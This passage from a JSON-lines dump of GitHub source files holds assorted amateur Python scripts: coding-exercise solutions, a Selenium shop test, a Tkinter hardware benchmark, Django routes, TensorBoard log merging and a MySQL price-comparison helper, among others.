groups\n","repo_name":"billyxs/notes.md","sub_path":"python/learning/python_morsels/2019-01-07_group_by/group_by.py","file_name":"group_by.py","file_ext":"py","file_size_in_byte":1259,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"69899826002","text":"#!/usr/lib/anaconda3/bin/python\n#!C:\\staging\\python\\systems\\Scripts\\python.exe\n# -*- coding: utf-8 -*-\n\"\"\" findCelebrity.py\n\nChallenges: https://www.lintcode.com/problem/find-the-celebrity/description?_from=ladder&&fromId=14\nSolutions: https://www.jiuzhang.com/solution/find-the-celebrity/\n\nThe knows API is already defined for you.\n@param a, person a\n@param b, person b\n@return a boolean, whether a knows b you can call Celebrity.knows(a, b)\n\nAttributes:\n __version__ = \"1.0.0\"\n __project__ = pilot\n __author__ = Jeremy Sung\n __date__ = 9/14/2018 9:43 AM\n __Email__ = Jeremy.Sung@osh.com\n\n\"\"\"\n\nclass Celebrity:\n\n def knows(self, a, b):\n\n return True if a > b else False ## a > b means a knows b\n\n\nclass findCelebrity(Celebrity):\n\n def findCelebrity(self, n):\n # @param {int} n a party with n people\n # @return {int} the celebrity's label or -1\n\n ## cel = Celebrity()\n\n def __init__(self):\n Celebrity.__init__(self)\n\n candidate = 0\n for i in range(n):\n ## if Celebrity.knows(candidate, i): ## if i knows candidate i is No Celebrity;\n ## if cel.knows(candidate, i): ## if i knows candidate i is No Celebrity;\n if self.knows(candidate, i): ## if i knows candidate i is No Celebrity;\n candidate = i\n\n for i in range(candidate):\n ## if Celebrity.knows(candidate, i) or not Celebrity.knows(i, candidate):\n ## if cel.knows(candidate, i) or not cel.knows(i, candidate):\n if self.knows(candidate, i) or not self.knows(i, candidate):\n return -1\n\n for i in range(candidate + 1, n):\n ## if not Celebrity.knows(i, candidate):\n ## if not cel.knows(i, candidate):\n if not self.knows(i, candidate):\n return -1\n\n return candidate\n\nif __name__ == \"__main__\":\n\n findCelebrity = findCelebrity()\n\n n = 2\n \"\"\"\n 2 ## next n * (n - 1) lines\n ## 0 knows 1\n ## 1 does not know 0\n ## return 1 ## 1 is celebrity\n \"\"\"\n\n\n","repo_name":"Jeremy-Sung-Dev/staging","sub_path":"python/libs_dev/findCelebrity.py","file_name":"findCelebrity.py","file_ext":"py","file_size_in_byte":1914,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"43227746591","text":"class Solution(object):\n def decodeString(self, s):\n \"\"\"\n :type s: str\n :rtype: str\n \"\"\"\n times, content, result = [], [], []\n num = 0\n for c in s:\n if c == '[':\n times.append(num)\n content.append([])\n num = 0\n elif c == ']':\n temp = times.pop() * ''.join(content.pop())\n if content:\n content[-1].append(temp)\n else:\n result.append(temp)\n elif '0' <= c <= '9':\n num = 10 * num + int(c)\n elif content:\n content[-1].append(c)\n else:\n result.append(c)\n return ''.join(result)\n\n # 35ms 91.78% vs 49ms 25.50%\n\n # times, content = [], []\n # num = 0\n # result = ''\n # for c in s:\n # if c == '[':\n # times.append(num)\n # content.append('')\n # num = 0\n # elif c == ']':\n # temp = times.pop() * content.pop()\n # if content:\n # content[-1] += temp\n # else:\n # result += temp\n # elif '0' <= c <= '9':\n # num = 10 * num + int(c)\n # elif content:\n # content[-1] += c\n # else:\n # result += c\n # return result\n\n\nassert Solution().decodeString(\"3[a]2[bc]\") == \"aaabcbc\"\nassert Solution().decodeString(\"3[a2[c]]\") == \"accaccacc\"\nassert Solution().decodeString(\"2[abc]3[cd]ef\") == \"abcabccdcdcdef\"\n","repo_name":"wufangjie/leetcode","sub_path":"394. Decode String.py","file_name":"394. Decode String.py","file_ext":"py","file_size_in_byte":1636,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"10894019135","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*- \n#Author: rufeng\n\nimport unittest\nimport time\nfrom framework.browser_engine import BrowserEngine\nfrom framework.logger import Logger\nfrom pageobjects.login_page import Loginpage\nfrom pageobjects.order_create_page import Ordercreate\nfrom pageobjects.order_page import OrderPage\n\n\nclass Addtemplate(unittest.TestCase):\n @classmethod\n def setUpClass(cls):\n \"\"\"\n 测试固件的setUp()的代码，主要是测试的前提准备工作\n :return:\n \"\"\"\n browser = BrowserEngine(cls)\n cls.driver = browser.open_browser(cls)\n\n @classmethod\n def tearDownClass(cls):\n \"\"\"\n 测试结束后的操作，这里基本上都是关闭浏览器\n :return:\n \"\"\"\n cls.driver.quit()\n\n def test_add_template(self):\n logger = Logger(logger=\"BasePage\").getlog()\n companyname = '顺丰'\n\n #初始化登录界面，并登录\n loginpage = Loginpage(self.driver)\n loginpage.login('12830222909', '1qaz2wsx')\n # self.driver.find_element_by_id('submit').click()\n time.sleep(2)\n # 切换frame\n frame1 = self.driver.find_element_by_id('container-i')\n self.driver.switch_to_frame(frame1)\n # 页面初始化\n orderpage = OrderPage(self.driver)\n def addtemlpate():\n # 点击新增模板按钮\n orderpage.click_add_template()\n time.sleep(2)\n # 点击物流公司下拉框\n orderpage.click_Logistics_company()\n time.sleep(3)\n # 选择物流公司\n self.driver.find_element_by_xpath('//li[text()=\"%s\"]' % companyname).click()\n # 选择要添加的模板\n orderpage.click_templete()\n # 选择运费付款方式\n orderpage.click_paytype()\n time.sleep(2)\n # 点击添加按钮\n orderpage.click_add()\n time.sleep(2)\n # 点击添加完成的确定按钮\n orderpage.click_button()\n # 关掉添加模板的弹框\n orderpage.template_close()\n time.sleep(2)\n\n # 判断模板是否添加成功\n try:\n if orderpage.is_element_exist('//span[text()=\"顺丰丰密(100*180)\"]'):\n self.assertTrue(True)\n logger.info(\"新添加模板名称存在，模板添加成功\")\n else:\n orderpage.get_windows_img()\n self.assertTrue(False)\n except BaseException as e:\n self.assertTrue(False)\n\n # 如果模板已经存在就删除模板，重新添加\n a=orderpage.is_element_exist('//span[contains(text(),\"顺丰丰密(100*180)\")]')\n print(a)\n if orderpage.is_element_exist('//span[contains(text(),\"顺丰��密(100*180)\")]'):\n print(a)\n time.sleep(2)\n self.driver.find_element_by_xpath('//span[text()=\"顺丰丰密(100*180)\"]').click()\n self.driver.find_element_by_xpath('//*[@id=\"addping_div\"]/div[3]/form/ul/li[4]/a').click()\n time.sleep(2)\n self.driver.find_element_by_xpath('//*[@class=\"confirm\"]').click()\n addtemlpate()\n # 如果模板不存在就添加模板\n else:\n addtemlpate()\n\n\n # 跳出frame\n self.driver.switch_to.default_content()\n # 退出登录\n loginpage.skin01_logout()\n time.sleep(3)\n\nif __name__=='__main__':\n unittest.main()\n","repo_name":"Rufengfree/ECS","sub_path":"testsuits/add_logistic_template.py","file_name":"add_logistic_template.py","file_ext":"py","file_size_in_byte":3559,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"12922106976","text":"import codecs, sys\n\ndef german_key(text):\n return text.replace(\"ö\", \"oe\").replace(\"ü\", \"ue\").replace(\"ä\", \"ae\").replace(\"Ö\", \"Oe\").replace(\"Ü\", \"Ue\").replace(\"Ä\", \"Ae\").replace(\"ß\", \"ss\")\n\nif len(sys.argv) < 2:\n print(\"usage: \" + sys.argv[0] + \" \")\n print(\"usage: \" + sys.argv[0] + \" notes\")\n sys.exit(1)\n\n# either remove notes or limit output to them\ndoOnlyNotes = False\nif len(sys.argv) > 2 and \"notes\" in sys.argv[2]:\n doOnlyNotes = True\n\npage = 0\nindexed = {}\nwith codecs.open(sys.argv[1], \"r\", \"utf-8\") as file:\n for line in file.readlines():\n lineClean = line.strip()\n if doOnlyNotes is False and \"->\" in lineClean:\n if lineClean[0] is \"-\":\n #remove note only lines\n continue\n indexOfNote = lineClean.find(\" -\")\n #prevent splitting of double names\n if indexOfNote > -1:\n lineClean = lineClean[0:indexOfNote].strip()\n try:\n page = int(lineClean)\n except ValueError:\n #filter out empty lines\n if lineClean:\n if lineClean in indexed:\n indexed[lineClean]+= \" \" + str(page)\n else: \n indexed[lineClean] = str(page)\n \nletter = \"\"\nif doOnlyNotes is False:\n print(\"{{TOC}}\")\n \nfor key in sorted(indexed, key=german_key):\n firstLetterGerman = german_key(key)[0]\n if doOnlyNotes is False and firstLetterGerman is not letter:\n print(\"== \" + firstLetterGerman + \" ==\")\n letter = firstLetterGerman\n if doOnlyNotes is False or \"->\" in key:\n print (\"* \" + key + \" \" + indexed[key])\n","repo_name":"FlominatorTM/GenWiki","sub_path":"make_index.py","file_name":"make_index.py","file_ext":"py","file_size_in_byte":1687,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"43799177823","text":"# 4889 안정적인 문자열\r\n# 31256 KB / 48 ms \r\n# 기본 코드\r\nimport sys\r\nsys.stdin = open(\"input.txt\", \"r\")\r\ninput = sys.stdin.readline\r\n\r\ncnt = 0 \r\nwhile True :\r\n res = 0 \r\n str_list = input()\r\n bracket = []\r\n if str_list[0] == '-':\r\n break\r\n\r\n for b in str_list:\r\n if not bracket and b == '}':\r\n res += 1\r\n bracket.append('{') # 바꿔주어야하니까\r\n elif bracket and b == '}':\r\n bracket.pop()\r\n else:\r\n bracket.append(b)\r\n cnt += 1 \r\n res += int(len(bracket)/2)\r\n print(f'{cnt}. {res}')\r\n","repo_name":"KDT-02-Algorithm-Study/Algorithm-Study","sub_path":"week20_230601/4889_안정적인_문자열/4889_이수빈.py","file_name":"4889_이수빈.py","file_ext":"py","file_size_in_byte":600,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"} +{"seq_id":"40226634479","text":"def treasureIsland():\n print(\"Welcome to treasure island!\")\n print(\"Your mission is to find the treasure\")\n choice1 = input(\n 'You\\'re at a cross road! Where do you want to go?, \"left\" or \"right?\"')\n if choice1.lower() == 'right':\n print('Game over!')\n elif choice1.lower() == 'left':\n choice2 = input(\n 'You arrive at a lake. Do you want to swim across or wait for a boat? ')\n if choice2.lower() == 'swim':\n print('game over!')\n elif choice2.lower() == 'wait':\n choice3 = input(\n 'You arrive at an island after a long boat ride. You enter a cave and see three doors. One is red, one is blue and one is yellow. Which door do you go through? ')\n if choice3.lower() == 'red' or choice3.lower() == 'blue':\n print('game over!')\n elif choice3.lower() == 'yellow':\n print('you win!')\n\n\ntreasureIsland()\n","repo_name":"JetimLee/front-end-itc","sub_path":"100Days_python/other_days/treasureIsland.py","file_name":"treasureIsland.py","file_ext":"py","file_size_in_byte":947,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"14772945264","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Dec 11 08:56:54 2019\n\n@author: SCL1\n\"\"\"\nimport pymysql as sql\nimport prettytable\nfrom textwrap import fill\nmycon=sql.connect(host='localhost',user='root',password='',database='Project')\ncursor=mycon.cursor()\n\nclass Functions():\n def string_to_int(self,price):\n new_int=''\n nums='0123456789'\n for i in price:\n if i in nums:\n new_int+=i\n return int(new_int)\n \n def add_new(self,fliplist,amzlist):\n addlist=[fliplist[0],self.string_to_int(fliplist[1]),amzlist[0],self.string_to_int(amzlist[1])]\n insert_string='insert into newtable values(\"{}\",{},\"{}\",{})'.format(addlist[0],addlist[1],addlist[2],addlist[3])\n cursor.execute(insert_string)\n mycon.commit()\n \n def get_best_site(self,price_flip,price_amz):\n if price_flip==0 and price_amz !=0:\n return \"Amazon\"\n elif price_amz==0 and price_flip!=0:\n return \"Flipkart\"\n elif price_flip>price_amz:\n return \"Amazon\"\n elif price_flipprice_amz:\n return str(price_amz)\n else:\n return str(price_flip)\n \n \n def view(self):\n cursor.execute(\"select * from newtable\")\n data=cursor.fetchall()\n hdr=[\"S.No\",'Flipkart_Name',\"Flipkart_Price\",'Amazon_Name',\"Amazon_Price\"]\n table=prettytable.PrettyTable(hdr)\n count=0\n for i in data:\n count+=1\n table.add_row([count,fill(i[0],width=20),chr(8377)+str(i[1]),fill(i[2],width=20),chr(8377)+str(i[3])])\n table.add_row(['','','','',''])\n return table.get_string()\n","repo_name":"nikhilg2k/Amazon-vs-Flipkart-WebScraping","sub_path":"Project_Functions.py","file_name":"Project_Functions.py","file_ext":"py","file_size_in_byte":1951,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"28887649802","text":"from django.urls import path\nfrom .views import (\n AuthenticateAPIView, FollowAPIView, UnfollowAPIView, UserAPIView, PostAPIView,\n DeletePostAPIView, LikeAPIView, UnlikeAPIView, CommentAPIView, SinglePostAPIView,\n AllPostsAPIView, CreateUserRegistration\n)\n\nurlpatterns = [\n path('register/', CreateUserRegistration.as_view(), name='authenticate'),\n path('authenticate/', AuthenticateAPIView.as_view(), name='authenticate'),\n path('follow//', FollowAPIView.as_view(), name='follow'),\n path('unfollow//', UnfollowAPIView.as_view(), name='unfollow'),\n path('user/', UserAPIView.as_view(), name='user'),\n path('posts/', PostAPIView.as_view(), name='post'),\n path('posts//', DeletePostAPIView.as_view(), name='delete_post'),\n path('like//', LikeAPIView.as_view(), name='like'),\n path('unlike//', UnlikeAPIView.as_view(), name='unlike'),\n path('comment//', CommentAPIView.as_view(), name='comment'),\n path('posts//', SinglePostAPIView.as_view(), name='single_post'),\n path('all_posts/', AllPostsAPIView.as_view(), name='all_posts'),\n ]\n","repo_name":"preetlimbani/social-media-api","sub_path":"api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1134,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"18331740101","text":"import sys\nimport math\nfrom collections import defaultdict\nfrom collections import deque\n\nsys.setrecursionlimit(1000000)\nMOD = 10 ** 9 + 7\ninput = lambda: sys.stdin.readline().strip()\nNI = lambda: int(input())\nNMI = lambda: map(int, input().split())\nNLI = lambda: list(NMI())\nSI = lambda: input()\n\n\ndef main():\n N = NI()\n can_match = [NLI() for _ in range(N)]\n\n # dp[case] 女の状態がcaseのときの場合の数\n dp = [0]*(1<>female) & 1: continue\n\n next_case = case + (1< new_length):\n raise ValueError(\"The new length of the list must be greater than the original length.\")\n \n missing = new_length - len(list_to_pad)\n \n for i in range(missing):\n list_to_pad.append(padding_value)\n \n return list_to_pad \n \n \ndef create_dfSetUp(data):\n \"\"\"\n Returns a pandas DataFrame with the current status of the system.\n\n Parameters\n ----------\n data: Species\n An instance of the class Species.\n \"\"\"\n N = len(data.species_list)\n \n df = pd.DataFrame()\n\n col_names = ['Species','Initial cond','Growth rate','Carrying cap','Change rate']\n for i in range(5):\n df[col_names[i]] = data.create_data()[i+1]\n\n for i in range(N):\n col = 'A_row'+str(i)\n df[col] = data.create_data()[6][i]\n \n return df\n\n \ndef generate_Integrator(N, t_max, t_step):\n \"\"\"\n Dynamical generation of integrator.py.\n You can see the example of a possible code created in the file\n 'Integrator_Example.py', or here:\n https://github.com/FMagnani/Generalized-Lotka-Volterra_N-species-model/tree/master/integrator_example\n\n \n N: int\n Dimension of the system (number of species)\n t_max: float\n Maximum time reached in the integration\n t_step: int\n Number of steps in which the time is divided. \n In the form 2**n +1 performance is increased.\n \"\"\"\n \n code = systemDynamicGenerator.merge_All(N, t_max, t_step)\n\n output = open(\"integrator.py\",\"w\") \n output.write(code)\n output.close() \n \ndef exe_Integrator():\n \"\"\" \n Execute the file 'Integrator.py', that will output the file \n \"solutionData.csv\".\n \"\"\"\n with open(\"integrator.py\") as f:\n code = compile(f.read(), \"integrator.py\", 'exec')\n exec(code)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"FMagnani/Generalized-Lotka-Volterra_N-species-model","sub_path":"sysFunctions.py","file_name":"sysFunctions.py","file_ext":"py","file_size_in_byte":2623,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"} +{"seq_id":"71571660560","text":"import sys\n\nimport requests\n\nif len(sys.argv) != 2:\n print(\"Usage: pdm test/post.py \")\n sys.exit(1)\n\n\n# The URL you want to send the POST request to\nurl = \"http://localhost:8000/items/\"\n# The data you want to send in the POST request (as a dictionary)\ndata = {\"name\": f\"item_post_route_{sys.argv[1]}\"}\n\n# Make the POST request\nresponse = requests.post(url, json=data)\n\n# Check the response status code\nif response.status_code == 200:\n print(\"Request successful!\")\n print(\"Response content:\", response.text)\nelse:\n print(\"Request failed. Status code:\", response.status_code)\n","repo_name":"karimelhajoui63/uow","sub_path":"tests/post.py","file_name":"post.py","file_ext":"py","file_size_in_byte":595,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"36067550323","text":"import json\n\nclass Ruta:\n def __init__(self, nombre, destinos ,id_ruta = None):\n self.nombre = nombre\n self.destinos = destinos\n if id_ruta is None:\n self.id_ruta = id(nombre)\n else:\n self.id_ruta = id_ruta\n \n def to_json(self):\n return {\n 'ID':self.id_ruta,\n 'Nombre':self.nombre,\n 'Destino':self.destinos\n }","repo_name":"danaasosa/tour_musical_app","sub_path":"views/ruta_interfaz.py","file_name":"ruta_interfaz.py","file_ext":"py","file_size_in_byte":415,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"31001010641","text":"import tensorflow as tf\nimport os, sys\nfrom utils.logger import Logger\n\n# implementation without logger from https://github.com/inkyusa/pytorch-tutorial/blob/master/tutorials/04-utils/tensorboard/logger.py\n\n# def mergeLoss(logPath):\n# sess = tf.Session()\n# x = tf.placeholder(dtype=tf.float32)\n# summary = tf.summary.scalar('Losses', x)\n# merged = tf.summary.merge_all()\n# sess.run(tf.global_variables_initializer())\n# writerTrain = tf.summary.FileWriter(os.path.join('logs','tb_summary', 'train'))\n# writerValid = tf.summary.FileWriter(os.path.join('logs','tb_summary', 'valid'))\n# trainEpoch = 0\n# validEpoch = 0\n# for event in tf.train.summary_iterator(logPath):\n# for v in event.summary.value:\n# #print(v)\n# if v.tag == 'train_loss':\n# #print(f\"loss = {v.simple_value}, epoch = {epoch}\")\n# summaryTrain = sess.run(merged, {x: v.simple_value})\n# writerTrain.add_summary(summaryTrain, trainEpoch)\n# writerTrain.flush()\n# trainEpoch += 1\n# if v.tag == 'valid_loss':\n# #print(f\"loss = {v.simple_value}, epoch = {epoch}\")\n# summaryValid = sess.run(merged, {x: v.simple_value})\n# writerValid.add_summary(summaryValid, validEpoch)\n# writerValid.flush()\n# validEpoch += 1\n\n#With logger https://github.com/inkyusa/pytorch-tutorial/blob/master/tutorials/04-utils/tensorboard/logger.py\n\ndef mergeLossLogger(logPath):\n trainLogger = Logger(os.path.join('logs', 'tb_merged', 'train'))\n validLogger = Logger(os.path.join('logs', 'tb_merged', 'valid'))\n for event in tf.compat.v1.train.summary_iterator(logPath):\n for v in event.summary.value:\n #Loss\n if v.tag == 'train_loss':\n trainInfo = {'loss': v.simple_value, }\n for tag, value in trainInfo.items():\n trainLogger.scalar_summary(tag, value, step=event.step)\n if v.tag == 'valid_loss':\n validInfo = {'loss': v.simple_value, }\n for tag, value in validInfo.items():\n validLogger.scalar_summary(tag, value, step=event.step)\n #IOU\n if v.tag == 'best_train_iou':\n trainInfo = {'iou': v.simple_value, }\n for tag, value in trainInfo.items():\n trainLogger.scalar_summary(tag, value, step=event.step)\n if v.tag == 'best_val_iou':\n validInfo = {'iou': v.simple_value, }\n for tag, value in validInfo.items():\n validLogger.scalar_summary(tag, value, step=event.step)\n #Acc\n if v.tag == 'train_acc':\n trainInfo = {'acc': v.simple_value, }\n for tag, value in trainInfo.items():\n trainLogger.scalar_summary(tag, value, step=event.step)\n if v.tag == 'valid_acc':\n validInfo = {'acc': v.simple_value, }\n for tag, value in validInfo.items():\n validLogger.scalar_summary(tag, value, step=event.step)\n\n\nif __name__ == \"__main__\":\n argLength = len(sys.argv)\n if argLength != 2:\n \tprint (\"usage: python ./merge_plot.py tb_event_file_path\")\n else:\n logPath = sys.argv[1]\n mergeLossLogger(logPath)","repo_name":"inkyusa/merge_tensorboard_scalars","sub_path":"merge_plot.py","file_name":"merge_plot.py","file_ext":"py","file_size_in_byte":3395,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"10731545827","text":"from pathlib import Path\nfrom tkinter import Label, Tk, Canvas, Entry, Text, Button, PhotoImage, font\nfrom tkinter.constants import END\nimport time\nimport os\nimport math\ntry:\n import psutil\n import cpuinfo\nexcept:\n print(\"Don't have psutil and cpuinfo\")\n\n#variables\ntotalscore = 0\nresetcpu = 0\nresetram = 0\nresetHdd = 0\ntry:\n cpu = str(cpuinfo.get_cpu_info()['brand_raw'])\n listCpu = cpu.split()\n name_Cpu = listCpu[0] + \" \" + listCpu[1] + \" \" + listCpu[2]\n store_Ram = format(psutil.virtual_memory().total / (1 << 30),'.2f') + \"GB\"\n store_Hdd = format((psutil.disk_usage('C:\\\\').total + psutil.disk_usage('D:\\\\').total) / (1 << 30),'.2f') + \"GB\"\n CPUnameX = 540.0\nexcept:\n name_Cpu = \"CPU Speed\"\n store_Ram = \"Ram Speed\"\n store_Hdd = \"Disk Speed\"\n CPUnameX = 640.0\n\n#path tkinter\nOUTPUT_PATH = Path(__file__).parent\nASSETS_PATH = OUTPUT_PATH / Path(\"./assets\")\ndef relative_to_assets(path: str) -> Path:\n return ASSETS_PATH / Path(path)\n\n#build window\nwindow = Tk()\nwindow.title(\"CN210\")\nwindow.geometry(\"1152x700\")\nwindow.configure(bg = \"#FFFFFF\")\n\n#build canvas\ncanvas = Canvas(\n window,\n bg = \"#FFFFFF\",\n height = 700,\n width = 1152,\n bd = 0,\n highlightthickness = 0,\n relief = \"ridge\")\ncanvas.place(x = 0, y = 0)\n\n#background\nimage_image_1 = PhotoImage(\n file=relative_to_assets(\"image_1.png\"))\nimage_1 = canvas.create_image(\n 724.0,\n 350.0,\n image=image_image_1)\n\nimage_image_2 = PhotoImage(\n file=relative_to_assets(\"image_2.png\"))\nimage_2 = canvas.create_image(\n 112.0,\n 285.0,\n image=image_image_2)\n\n#ช่องบอกScore\nscoreRam = Entry(border=4,width=10,font=(\"Press Start 2P\", 9),justify='center')\nscoreRam.place( x = 315.0, y = 421.0 )\n\nscoreCpu = Entry(border=4,width=10,font=(\"Press Start 2P\", 9),justify='center')\nscoreCpu.place( x = 635.0, y = 421.0 )\n\nscoreHdd_Write = Entry(border=4,width=10,font=(\"Press Start 2P\", 9),justify='center')\nscoreHdd_Write.place( x = 945.0, y = 421.0 )\n\nscoreHdd_Read = Entry(border=4,width=10,font=(\"Press Start 2P\", 9),justify='center')\nscoreHdd_Read.place( x = 945.0, y = 484.0 )\n\nscoreTotal = Entry(border=10,width=7,font=(\"Press Start 2P\", 25),justify='center')\nscoreTotal.place( x = 720.0, y = 570.0 )\n\n#ชื่อ CPU และขนาด Ram,Hdd\ncanvas.create_text(345.0,385.0,anchor=\"nw\",text=store_Ram,fill=\"#000000\",font=(\"Press Start 2P\", 10))\ncanvas.create_text(CPUnameX,385.0,anchor=\"nw\",text=name_Cpu,fill=\"#000000\",font=(\"Press Start 2P\", 10))\ncanvas.create_text(977.0,385.0,anchor=\"nw\",text=store_Hdd,fill=\"#000000\",font=(\"Press Start 2P\", 10))\n\n#reset ค่าทั้งหมด\ndef reset():\n global totalscore\n global resetcpu\n global resetram\n global resetHdd\n scoreRam.delete(0,END)\n scoreCpu.delete(0,END)\n scoreHdd_Write.delete(0,END)\n scoreHdd_Read.delete(0,END)\n scoreTotal.delete(0,END)\n totalscore = 0\n resetcpu = 0\n resetram = 0\n resetHdd = 0 \n\n#test Memory\ndef testRam():\n global totalscore\n global resetram\n totalscore -= resetram\n scoreRam.delete(0,END)\n scoreTotal.delete(0,END)\n\n start = time.time()\n structor()\n structor()\n structor()\n structor()\n structor()\n end = time.time()\n total = end - start\n scoreRam.insert(0, f\"{total:.2f}\")\n\n resetram = total\n totalscore += total\n scoreTotal.insert(0, f\"{totalscore:.2f}\")\n\n#test CPU\ndef testCpu():\n global totalscore\n global resetcpu\n totalscore -= resetcpu\n scoreCpu.delete(0,END)\n scoreTotal.delete(0,END)\n\n start = time.time()\n defin()\n end = time.time()\n total = end - start\n scoreCpu.insert(0, f\"{total:.2f}\")\n\n resetcpu = total\n totalscore += total\n scoreTotal.insert(0, f\"{totalscore:.2f}\")\n\n#test Disk\ndef testHdd():\n global totalscore\n global resetHdd\n totalscore -= resetHdd\n scoreHdd_Write.delete(0,END)\n scoreHdd_Read.delete(0,END)\n scoreTotal.delete(0,END)\n\n t0 = time.time()\n #write file\n with open(\"xyz.txt\", \"w\") as f:\n for r in range(180000000):\n f.write(f\"{r}\\n\")\n f.close\n\n t1 = time.time()\n #read file\n with open(\"xyz.txt\") as name:\n x = name.read()\n name.close\n\n t2 = time.time()\n writetime = t1 - t0\n readtime = t2 - t1\n total = t2 - t0\n os.remove(\"xyz.txt\")\n scoreHdd_Write.insert(0, f\"W:{writetime:.2f}\")\n scoreHdd_Read.insert(0, f\"R:{readtime:.2f}\")\n\n resetHdd = t2 - t0\n totalscore += total\n scoreTotal.insert(0, f\"{totalscore:.2f}\")\n\n#ทำเลขฐาน2\ndef toBinaryNumber(n):\n BinaryNumber = \"\"\n t = 1\n num = 0\n while(t<=n):\n num = 2**t\n if(num>n):\n num = 2**(t-1)\n break\n t+=1\n\n for i in range(t-1,-1,-1):\n check = 2**i\n if(n>=(check)):\n BinaryNumber = BinaryNumber+\"1\"\n n -= check\n elif(n0):\n num += (x%10)*two\n two*=2\n x = math.floor(x/10)\n return num\n\n#เปลี่ยนเลขเป็น String\ndef numToString(num):\n if(num==1):\n return \"1\"\n elif(num==2):\n return \"2\"\n elif(num==3):\n return \"3\"\n elif(num==4):\n return \"4\"\n elif(num==5):\n return \"5\"\n elif(num==6):\n return \"6\"\n elif(num==7):\n return \"7\"\n elif(num==0):\n return \"0\"\n\n#เปลี่ยนเลขฐาน10 เป็นฐาน8\ndef defin():\n list1 = []\n for i in range(5000000,10000000):\n RandNUm = i\n result = toBinaryNumber(RandNUm)\n list1.append(result)\n\n eightNum = \"\"\n listEightNum = []\n for i in list1:\n list2 = []\n for z in i:\n list2.append(z)\n while(len(list2)>0):\n if(len(list2) >= 3):\n numThree = list2[len(list2)-3]+list2[len(list2)-2]+list2[len(list2)-1]\n list2.pop(len(list2)-1)\n list2.pop(len(list2)-1)\n list2.pop(len(list2)-1)\n num1 = toInteger(numThree)\n num2 = toNumTen(num1)\n eightNum = numToString(num2) + eightNum\n elif(len(list2)==2):\n numThree = list2[len(list2)-2]+list2[len(list2)-1]\n list2.pop(len(list2)-1)\n list2.pop(len(list2)-1)\n num1 = toInteger(numThree)\n num2 = toNumTen(num1)\n eightNum = numToString(num2) + eightNum\n else:\n numThree = list2[0]\n list2.remove(list2[0])\n num1 = toInteger(numThree)\n num2 = toNumTen(num1)\n eightNum = numToString(num2) + eightNum\n listEightNum.append(eightNum)\n eightNum = \"\"\n return listEightNum\n\n#เปลี่ยนค่าใน list\ndef setter(list):\n for j in range(len(list)):\n list[j] = 5\n\ndef setter2(list):\n for j in range(len(list)):\n list[j] = 0\n\n#สร้าง list และกำหนดเลข\ndef structor():\n list = []\n for i in range(100000000):\n list.append(i)\n setter(list)\n setter2(list)\n \n list2 = []\n for z in range(100000000):\n list2.append(z)\n setter(list2)\n setter2(list2)\n\n\n#button reset\nbutton_image_1 = PhotoImage(\n file=relative_to_assets(\"button_1.png\"))\nbutton_1 = Button(\n image=button_image_1,\n borderwidth=0,\n highlightthickness=0,\n command=reset)\nbutton_1.place(\n x=21.0,\n y=597.0,\n width=206.0,\n height=87.0)\n\n#button test Memory\nbutton_image_2 = PhotoImage(\n file=relative_to_assets(\"button_2.png\"))\nbutton_2 = Button(\n image=button_image_2,\n borderwidth=0,\n highlightthickness=0,\n command=testRam)\nbutton_2.place(\n x=260.0,\n y=157.0,\n width=262.0,\n height=205.0)\n\n#button test CPU\nbutton_image_3 = PhotoImage(\n file=relative_to_assets(\"button_3.png\"))\nbutton_3 = Button(\n image=button_image_3,\n borderwidth=0,\n highlightthickness=0,\n command=testCpu)\nbutton_3.place(\n x=602.0,\n y=157.0,\n width=226.0,\n height=223.0)\n\n#button test Disk\nbutton_image_4 = PhotoImage(\n file=relative_to_assets(\"button_4.png\"))\nbutton_4 = Button(\n image=button_image_4,\n borderwidth=0,\n highlightthickness=0,\n command=testHdd)\nbutton_4.place(\n x=949.0,\n y=170.0,\n width=175.0,\n height=192.0)\n\n\nwindow.mainloop()","repo_name":"Starassassin-github/CN210-Mini-Project","sub_path":"CN210 Mini Project/guiproject.py","file_name":"guiproject.py","file_ext":"py","file_size_in_byte":9062,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"8901121967","text":"import codecs\nimport os\n\nconstProp = {\"\"}\ndynamicButton = False\ndynamicButtonProp = False\nskipLine = False\nnewButton = False\nisDef = False\n\nfor root, dirs, files in os.walk(\"folderName\", topdown=False):\n for name in files:\n fileName = os.path.join(root, name)\n print(fileName)\n outFile = \"folderName_out\" + fileName[fileName.find(\"\\\\\"):]\n os.makedirs(os.path.dirname(outFile), exist_ok=True)\n dynamicButton = False\n skipLine = False\n constProp.clear()\n endSetters = False\n if name.startswith(\"w_\") or name.startswith(\"uov_\") or name.startswith(\"u_\"):\n with codecs.open(fileName, encoding='utf8') as f:\n for line in f:\n if \"end forward\" in line.lower():\n dynamicButton = False\n dynamicButtonProp = False\n constProp.clear()\n \n if \"end type\" in line.lower():\n dynamicButtonProp = False\n\n if line.strip().lower().startswith(\"type \"):\n if dynamicButton == True and len(constProp) > 0:\n with open(outFile, \"a\") as f:\n f.write(\"event constructor;call super::constructor;\")\n 